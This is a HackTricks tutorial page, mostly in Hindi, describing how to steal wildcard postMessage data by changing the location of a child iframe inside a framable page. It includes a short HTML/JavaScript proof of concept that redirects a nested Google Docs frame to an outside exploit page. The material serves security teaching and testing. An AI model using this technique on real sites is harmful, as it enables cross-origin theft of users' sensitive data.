Steal postmessage modifying iframe location

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Changing child iframes locations

According to this writeup, यदि आप बिना X-Frame-Header के एक वेबपेज को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे iframe का स्थान बदल सकते हैं

उदाहरण के लिए, यदि abc.com में efg.com iframe है और abc.com में X-Frame header नहीं है, तो मैं efg.com को evil.com क्रॉस ओरिजिन में बदल सकता हूँ, frames.location का उपयोग करके।

यह विशेष रूप से postMessages में उपयोगी है क्योंकि यदि एक पृष्ठ संवेदनशील डेटा भेज रहा है जो wildcard जैसे windowRef.postmessage("","*") का उपयोग कर रहा है, तो हम संबंधित iframe (बच्चा या माता-पिता) का स्थान एक हमलावर द्वारा नियंत्रित स्थान पर बदल सकते हैं और उस डेटा को चुरा सकते हैं।

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>

सीखें और AWS हैकिंग का अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) सीखें और GCP हैकिंग का अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated